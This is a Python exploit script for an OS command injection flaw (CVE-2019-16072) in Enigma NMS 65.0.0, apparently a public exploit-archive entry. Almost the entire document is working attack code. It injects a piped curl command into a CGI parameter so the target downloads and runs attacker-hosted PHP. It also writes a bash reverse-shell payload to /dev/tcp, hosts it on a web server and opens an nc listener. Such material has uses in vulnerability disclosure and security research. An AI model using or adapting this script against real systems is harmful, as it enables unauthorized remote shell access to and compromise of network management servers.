Enigma NMS 65.0.0 OS Command Injection

`#!/usr/bin/python  
#--------------------------------------------------------------------#  
# Exploit Title: Enigma NMS OS Command Injection #  
# NETSAS Pty Ltd Enigma NMS #  
# Date: 21 July 2019 #  
# Author: Mark Cross (@xerubus | mogozobo.com) #  
# Vendor: NETSAS Pty Ltd #  
# Vendor Homepage: https://www.netsas.com.au/ #  
# Software Link: https://www.netsas.com.au/enigma-nms-introduction/ #  
# Version: Enigma NMS 65.0.0 #  
# CVE-IDs: CVE-2019-16072 #  
# Full write-up: https://www.mogozobo.com/?p=3647 #  
#--------------------------------------------------------------------#  
  
import sys, time, os, subprocess, signal, requests, socket, SocketServer, SimpleHTTPServer, threading  
  
os.system('clear')  
  
print("""\  
_ _  
___ (~ )( ~)  
/ \_\ \/ /   
| D_ ]\ \/ -= Enigma NMS Reverse Shell by @xerubus =-   
| D _]/\ \ -= We all have something to hide =-  
\___/ / /\ \\  
(_ )( _)  
@Xerubus   
""")  
  
enigma_host = raw_input("Enter Enigma NMS IP address:\t")  
attack_host = raw_input("Enter Attacker IP address:\t")  
rev_sh_port = raw_input("Enter reverse shell port:\t")  
web_svr_port = raw_input("Enter web server port:\t\t")  
user = raw_input("Enter Username:\t\t\t")  
os.system("stty -echo")  
password = raw_input("Enter Password (no echo):\t")  
os.system("stty echo")  
  
enigma_url = "http://" + enigma_host + "/cgi-bin/protected/discover_and_manage.cgi?action=snmp_browser&hst_id=none&snmpv3_profile_id=&ip_address=|curl%20" + attack_host + ":" + web_svr_port + "/evil.php|php&snmp_ro_string=public&mib_oid=system&mib_oid_manual=.1.3.6.1.2.1.1&snmp_version=1"  
enigma_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://" + attack_host + "/cgi-bin/protected/discover_and_manage.cgi?action=snmp_browser", "Connection": "close", "Upgrade-Insecure-Requests": "1"}  
  
print "\n\n[+] Building PHP reverse shell"  
f=open("evil.php","w")  
f.write("<?php\nexec(\"/bin/bash -c \'bash -i >& /dev/tcp/" + attack_host + "/" + rev_sh_port + " 0>&1\'\");\n?>\n")  
f.close()  
  
# Create simple webserver hosting evil php file  
print "[+] Hosting PHP reverse shell"  
web_svr_port = str(web_svr_port)  
web_svr = subprocess.Popen(["python", "-m", "SimpleHTTPServer", web_svr_port], stdout=subprocess.PIPE, shell=False, preexec_fn=os.setsid)  
  
# Create netcat listener  
print "[+] Creating listener on port " + rev_sh_port  
subprocess.Popen(["nc", "-nvlp", rev_sh_port])  
  
# Send payload to Enigma NMS  
print "[+] Sending payload\n"  
try:  
r = requests.get(enigma_url, headers=enigma_headers, auth=(user, password))  
except:  
pass  
  
print "\n[+] Cleaning up mess..."   
  
# Shut down http server  
os.killpg(os.getpgid(web_svr.pid), signal.SIGTERM)  
`